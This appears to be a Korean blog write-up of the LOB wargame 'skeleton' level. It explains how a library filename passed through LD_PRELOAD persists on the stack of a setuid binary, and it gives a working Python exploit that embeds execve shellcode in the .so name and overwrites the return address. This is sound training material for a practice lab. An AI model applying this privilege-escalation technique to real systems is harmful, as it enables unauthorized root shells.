본문 바로가기
워게임/LOB

LOB - skeleton

by meanjung 2021. 8. 3.

스택이 싹 지워진다.

그래서 RTL인가? 했는데 argv[1][47] == "\xbf" 여야한다는 조건 덕분에 RTL으로 해결할 수 없는 것 같다.

 

결국 롸업을 슬쩍 봤다.

 

 

 

LD_PRELOAD를 이용한다고 했다.

그래서 LD_PRELOAD 구글링 해서 memset 함수를 후킹해서 아예 bash 쉘을 띄우게 하려고 했는데 안됐다...

 

이유는 setuid가 걸려있기 때문이다!

 

setuid가 걸려있으면 LD_PRELOAD=./~~.so ./실행파일 argv 를 해도 후킹되지 않는다. ☞ 직접 경험해보는 것이 좋다.

 

 

 

ld_preload를 이용해서 파일을 실행할 때 core dump 파일이 만들어지도록 시도해서 core dump파일을 분석했다.

 

 

 

 

hook.c ☞ (NAME = )"A"*250+".so"  // so 파일 이름을 "A"*250+".so"로 하겠다는 의미(귀찮아서 NAME으로 표시하겠다는 의미..)

gcc -shared -fPIC -o NAME hook.c  // 후킹을 위해 so파일 생성(코어 덤프 파일을 분석하기 위해 파일 이름을 길게 짓는다)

 

cp golem BBBBB  // golem이 5자니까 BBBBB도 5자로 만든다. (코어 덤프 파일을 분석해서 실제 주소를 알아낼 것이기 때문)

LD_PRELOAD=./NAME ./BBBBB `python -c 'print "\xbf"*48'` ☞ core dump 파일 생성

 

 

gdb -c core

 

환경변수는 0xc0000000쪽에 쌓이니까 그 쪽을 대충 본다.

발견!!

 

이것을 보고 setuid가 걸려있으면 ld_preload를 이용한 후킹은 적용되지 않지만 라이브러리 파일명은 올라간다는 것을 알 수 있다.
※ 왜인지는 모르겠다. 분석해보니까 그렇다,,,,

 

 

그럼 A대신에 쉘코드를 넣어주면 되겠져

 

 

 

test.py

import os

f=open("hook.c","w")
f.write('')
f.close()

NAME="\x90"*215+"\x31\xc0\x50\xb8\x2e\x2e\x73\x68\x66\x05\x01\x01\x50\xb8\x2e\x62\x69\x6e\x04\x01\x50\x89\xe3\x31\xc0\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"+".so"
os.system("gcc hook.c -fpic -shared -o "+NAME)

os.execve("./golem", ["./golem", "A"*44+"\x01\xf9\xff\xbf"], {"LD_PRELOAD":"./"+NAME})

 

 

python test.py

 

 

 

'워게임 > LOB' 카테고리의 다른 글

LOB - darkknight(RTL)  (0) 2021.08.05
LOB - golem(SFP overflow)  (0) 2021.08.04
LOB - vampire(심볼릭링크)  (0) 2021.08.01
LOB - troll (환경변수)  (0) 2021.08.01
LOB - darkelf  (0) 2021.07.31

댓글